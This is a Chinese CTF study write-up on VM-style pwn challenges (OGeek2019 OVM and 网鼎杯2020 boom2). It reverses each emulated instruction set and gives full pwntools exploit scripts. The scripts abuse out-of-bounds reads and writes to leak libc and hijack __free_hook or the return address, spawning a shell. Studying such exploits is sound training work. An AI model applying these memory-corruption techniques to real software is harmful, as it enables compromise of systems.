只会做几个烂大街的堆题目,,比赛堆题签个到走人
这好吗?这不好,,所以赶紧学学VMpwn,记个笔记
前置
VMpwn常见设计
- 初始化分配模拟寄存器空间
- 初始化分配模拟stack
- 初始化分配模拟.data
- 初始化分配模拟.text
VMpwn常见执行流程
- 输入opcode
- 分析opcode,并根据opcode进行各种操作
VMpwn常见解决流程
VMpwn题目一般都是读写越界引发的漏洞,分析清楚指令的含义后进行利用即可
其难点在于逆向分析的过程,所以动手逆两道题就不至于每次都 ida打开->F5->看到密密麻麻的伪代码->关闭 了
例题
buu OGeek2019 Final OVM
例行检查
ida打开
可以看到程序逻辑为先输入pc和sp的偏移并存入reg数组,reg数组应该是用于存放寄存器,然后输入opcode的大小,再输入opcode,观察下面的程序逻辑,应该是四个字节为一个指令,判断如果最高位为0xff
时则将整个指令替换为0xE0000000
再进入循环,fetch函数取指放入v7,由参数传递到execute函数内执行
之后可以在comment[0]存放的指针指向的内存处(也就是上面申请的用来保存opcode的chunk中)写0x8c字节
进入execute函数,最劝退的地方
对于
v4 = (a1 & 0xF0000u) >> 16;
v3 = (unsigned __int16)(a1 & 0xF00) >> 8;
v2 = a1 & 0xF;
result = HIBYTE(a1);
result为指令最高字节,作为操作码,v4位次高字节,作为“目标操作数”,v3为次低字节,v2为最低字节,两个作为“源操作数”,其中除了result都只取了每个字节的低四bit,可以看出是四字节定长的指令集
由于寄存器应该是存放在reg数组中的,根据后面的逻辑,v2和v3是源寄存器在reg数组中的偏移,v4是目标寄存器在reg数组中的偏移
之后就是对每个指令进行译码操作了,使劲逆就可以了,其实静下来慢慢看也不难,将两个源操作数表示为r1和r2,目标操作数表示为r3,大致可表示为以下操作
\x70 : r3 = r2 + r1
\xb0 : r3 = r2 ^ r1
\xd0 : r3 = r2 >> r1
\xe0 : stop
if !sp :
exit
\xff : nop
\xf0 : print(reg)
\xc0 : r3 = r2 << r1
\x90 : r3 = r2 & r1
\xa0 : r3 = r2 | r1
\x80 : r3 = r2 - r1
\x30 : r3 = [r1]
\x50 : push r3
\x60 : pop r3
\x40 : [r1] = r3
\x10 : r3 = r1
\x20 : r3 = (r1==0)
理解了程序的总体流程,可以找程序存在的漏洞了
这道题的漏洞点在于\x30
和\x40
对memory的操作并没有对memory的下标进行检测
-
memory和comment都在.bss节,在程序后面可以对comment[0]处保存指针指向的地址写0x8c字节,覆盖comment[0]处的指针即可任意地址写
-
memory所在的.bss前面有一个libc地址,可以泄露出libc地址
因为这个libc地址+0x10A8即为free_hook地址
所以构造出0x10A8,再加到得到的libc地址上就可以得到free_hook地址
由于在程序最后会free用于存放opcode的堆地址,所以可以将这个堆地址覆盖为free_hook-0x8的位置,这样可以填充b'/bin/sh\x00'+p64(system)
来覆盖free_hook为system并且控制调用free时的参数为”/bin/sh”的地址
exp:
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=1
binary_name='pwn'
libc_name='libc-2.23.so'
libc=ELF("./"+libc_name)
if local:
p=process("./"+binary_name)
else:
p=remote('',)
e=ELF("./"+binary_name)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
def code_generate(code, dst, op1, op2):
res = code<<24
res += dst<<16
res += op1<<8
res += op2
return str(res)
sla("PC: ",'0')
sla("SP: ",'1')
sla("CODE SIZE: ",'24')
ru("CODE: ")
sl(code_generate(0x10, 0, 0, 0x1a))#reg[0] = 0x1a
sl(code_generate(0x80, 1, 1, 0))#reg[1] = reg[1] - reg[0]
sl(code_generate(0x30, 2, 0, 1))#reg[2] = memory[reg[1]];libc
sl(code_generate(0x10, 0, 0, 0x19))#reg[0] = 0x19
sl(code_generate(0x10, 1, 0, 0))#reg[1] = 0
sl(code_generate(0x80, 1, 1, 0))#reg[1] = reg[1] - reg[0]
sl(code_generate(0x30, 3, 0, 1))#reg[3] = memory[reg[1]];libc
sl(code_generate(0x10, 4, 0, 1))#reg[4] = 1
sl(code_generate(0x10, 5, 0, 0xc))#reg[5] = 0xc
sl(code_generate(0xC0, 4, 4, 5))#reg[4] = reg[4]<<reg[5];0x1000
sl(code_generate(0x10, 5, 0, 0xa))#reg[5] = 0xa
sl(code_generate(0x10, 6, 0, 4))#reg[6] = 9
sl(code_generate(0xC0, 5, 5, 6))#reg[5] = reg[5]<<reg[6];0xa0
sl(code_generate(0x70, 4, 4, 5))#reg[4] = reg[4]+reg[5]
sl(code_generate(0x70, 2, 4, 2))#reg[2] = reg[4]+reg[2];free_hook-0x8
sl(code_generate(0x10, 4, 0, 8))#reg[4] = 8
sl(code_generate(0x10, 5, 0, 0))#reg[5] = 0
sl(code_generate(0x80, 5, 5, 4))#reg[5] = reg[5] - reg[4]
sl(code_generate(0x40, 2, 0, 5))#memory[reg[5]]=reg[2];heap -> free_hook-0x8
sl(code_generate(0x10, 4, 0, 7))#reg[4] = 7
sl(code_generate(0x10, 5, 0, 0))#reg[5] = 0
sl(code_generate(0x80, 5, 5, 4))#reg[5] = reg[5] - reg[4]
sl(code_generate(0x40, 3, 0, 5))#memory[reg[5]]=reg[3];heap -> free_hook-0x8
sl(code_generate(0xE0, 0, 1, 1))#exit
ru("R2: ")
low = int(ru('\n').strip(), 16) + 0x8
ru("R3: ")
high = int(ru('\n').strip(), 16)
free_hook = (high<<32)+low
libc.address = free_hook - libc.sym['__free_hook']
system = libc.sym['system']
ru("HOW DO YOU FEEL AT OVM?\n")
sl(b'/bin/sh\x00'+p64(system))
ia()
网鼎杯2020 boom2
例行检查
ida打开
想起了比赛当时还不知道啥是VMpwn,看到这么多while直接关掉了
好好分析一波
v3 = (signed __int64 *)malloc(0x40000uLL);
buf = (char *)malloc(0x40000uLL);
申请两个超大堆块
后面要输入opcode到buf,所以这里的buf应该是模拟.text,根据后面的程序逻辑可以判断v39应该是判断opcode长度的,而v7则是类似ip寄存器的变量,v8用于存储指令的机器码
而这些神奇的操作
先v3+0x8000
然后每次赋值后都执行一次--v3
,很容易想到一种特殊的结构——栈
猜测这里是对模拟的stack进行初始化,而v3和v36应该是模拟类似sp的指针,v37则是模拟类似bp的指针,并且sp指针是指向栈顶元素而不是栈顶元素的下一位的,类似于ARM中的fd栈
所以上面这段代码大致可以翻译为
_sp += 0x8000
_bp = _sp
push 0x1e
push 0xd
v4 = _sp
push v5-1
push v6+8
push v4
v39 = 0LL
但是在gdb动调的时候发现,malloc申请来模拟栈的内存地址与上面这段指令操作的地址偏移是0x40000而不是0x8000
可以看到这里存放了两个地址,一个指向模拟的栈地址,一个指向真实的栈地址
比如上图中 _sp 和 _bp都在0x7ffff7ff1fe8
,而0x7ffff7ff1fe8
存放的是0x7ffff7ff2000
,类似于调用一个子函数保存一个栈帧时栈上的情况
在巨大的循环里
if ( ++v39 > 30 )
{
v8 = 30LL;
}
else
{
v7 = (signed __int64 *)buf;
buf += 8;
v8 = *v7;
}
表示最多只能有30个指令,然后通过v7和v8取指
之后就是对指令的逆向了,需要注意的是这里的操作码是int64类型的值,操作数为立即数的时候立即数也是int64类型的值,存放在操作码的下一个int64
这里用imm代表立即数,而v38应该是作为一个寄存器的作用,可以看出模拟的是非定长的指令集
00 : v38 = _bp[imm]
01 : v38 = imm
06 : push _bp
_bp = _sp
_sp = _bp-imm
08 : leave
ret
09 : v38 = *(qword ptr *)v38
10 : v38 = *(byte ptr *)v38
11 : **(qword ptr **)_sp = v38
pop v15;
12 : **(byte ptr **)_sp = v38
pop v16;
13 : push v38
14 : *_sp = *_sp | v38
pop v38
15 : *_sp = *_sp ^ v38
pop v38
16 : *_sp = *_sp & v38
pop v38
17 : *_sp = *_sp == v38
pop v38
18 : *_sp = *_sp != v38
pop v38
19 : *_sp = *_sp < v38
pop v38
20 : *_sp = *_sp > v38
pop v38
21 : *_sp = *_sp <= v38
pop v38
22 : *_sp = *_sp >= v38
pop v38
23 : *_sp = *_sp << v38
pop v38
24 : *_sp = *_sp >> v38
pop v38
25 : *_sp = *_sp + v38
pop v38
26 : *_sp = *_sp - v38
pop v38
27 : *_sp = *_sp * v38
pop v38
28 : *_sp = *_sp / v38
pop v38
29 : *_sp = *_sp % v38
pop v38
30 : exit
这题的漏洞点就在于有真实的栈上的地址保存在模拟的栈上,而且整个操作在main函数中完成,main函数的返回地址在libc上,可以计算好偏移得到返回地址,直接将其改为one_gadget
exp:
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=1
binary_name='main'
libc_name='libc-2.23.so'
libc=ELF("./"+libc_name)
if local:
p=process("./"+binary_name)
else:
p=remote('',)
e=ELF("./"+binary_name)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
one = [0x45226, 0x4527a, 0xf0364, 0xf1207]
off_ret_stack = 0xe8
#返回地址与可以得到的栈地址之间的偏移
off_ret_one = 0x7F2E9FE3A000+0xf1207-0x7f2e9fe5a840
#返回地址上__libc_start_main与one_gadget的偏移
pd = p64(14)#pop v38;
pd += p64(1)+p64(off_ret_stack)#v38 = 0xe8;
pd += p64(26)#*_sp = *_sp - v38;pop v38;
pd += p64(13)#push v38;ret_addr
pd += p64(9)#v38 = *(qword ptr *)v38;
pd += p64(13)#push v38;libc_addr
pd += p64(1)+p64(off_ret_one)#v38 = 0xcfb24;
pd += p64(25)#*_sp = *_sp + v38;pop v38;
pd += p64(11)#**(qword ptr **)_sp = v38;
sla("code>", pd)
ia()
参考链接
https://www.bilibili.com/video/BV1mf4y1Q7Hq
https://blog.csdn.net/weixin_44145820/article/details/106600382
https://blog.csdn.net/Breeze_CAT/article/details/106078982